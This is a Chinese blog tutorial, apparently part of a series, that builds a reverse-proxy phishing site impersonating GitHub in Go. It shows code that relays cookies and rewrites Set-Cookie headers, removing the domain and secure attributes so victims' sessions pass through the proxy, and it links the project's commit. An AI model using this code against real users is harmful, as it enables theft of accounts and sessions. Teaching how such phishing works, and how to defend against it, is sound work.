看完前一天的分析之後會發現,其實登入就是把 cookie 傳來傳去而已,今天的目標就是要在 reverse proxy 中實作 把 cookie 傳來傳去 這件事情
cookie 是 HTTP header 中其中一個欄位,因為目前在 cloneRequest
中複製請求時只複製了 method 跟 body,所以 cookie 只會被傳到 reverse proxy 但不會傳到真正的 Github
請求到了 Github server 因為沒 cookie 所以會被視為沒登入,要把 cookie 傳到 Github 就要在複製時也帶上 cookie,也就是圖中的第二步
func cloneRequest(r *http.Request) *http.Request {
method := r.Method
body := r.Body
// ...
// 把原請求的 cookie 複製到 req 的 cookie 裡面
// 這樣請求被發到 Github 時就會帶上 cookie
req.Header["Cookie"] = r.Header["Cookie"]
return req
}
為了讓瀏覽器也拿到 Github 發的號碼牌(cookie),我們需要把來自 Github 的 Set-Cookie
也複製到傳給瀏覽器的 header 裡面,也就是圖中的第四步
func handler(w http.ResponseWriter, r *http.Request) {
// ...
body, header := sendReqToUpstream(req)
// 用 range 把 header 中的 Set-Cookie 欄位全部複製給瀏覽器的 header
for _, v := range header["Set-Cookie"] {
w.Header().Add("Set-Cookie", v)
}
// ...
}
???為什麼還是不能登入
原來是 Cookie 有設定 domain=.github.com
跟 secure
阿,還記得前天說的 Cookie 機制嗎,因為我們的網域是 localhost
然後也沒有 HTTPS,cookie 沒辦法成功 set 進去,所以只好在轉傳的過程中把 domain 跟 secure 拿掉了XD,雖然這樣會不安全,反正是釣魚網站不用太講究
func handler(w http.ResponseWriter, r *http.Request) {
// ...
for _, v := range header["Set-Cookie"] {
// 把 domain=.github.com 移除
newValue := strings.Replace(v, "domain=.github.com;", "", -1)
// 把 secure 移除
newValue = strings.Replace(newValue, "secure;", "", 1)
w.Header().Add("Set-Cookie", newValue)
}
// ...
}
這樣就可以成功登入了吧?
今天實作了轉傳還有竄改 cookie 屬性的功能,其實大部分網站的登入也都是這樣做的,所以這種方式幾乎適用於所有網站,那網站開發者該怎麼防禦這種「cookie 屬性被竄改」的問題呢?這在後面會提到,不過道高一尺魔高一丈,當然還是有辦法破解就是了XDD
這是今天的 commit,雖然只有短短不到十行扣,但如果沒有好好理解 Cookie 機制是寫不出這些的,對於程式碼有任何問題都歡迎在下面留言,沒問題的話那就明天見囉
https://github.com/Larry850806/go-phishing/blob/d3f4ad34f110436c32b76b8e7a9c6b5ba88e0c1e/main.go
用第一個連接的 Code 編譯完執行,在自己的電腦上登入釣魚網站會被導到 http://localhost:8080/session , 是不是有點怪?
沒錯滿怪的,筆者我原本也以為這樣就可以了,後來發現是因為 HTTP Redirect 沒處理好,詳情可以看看明天的文~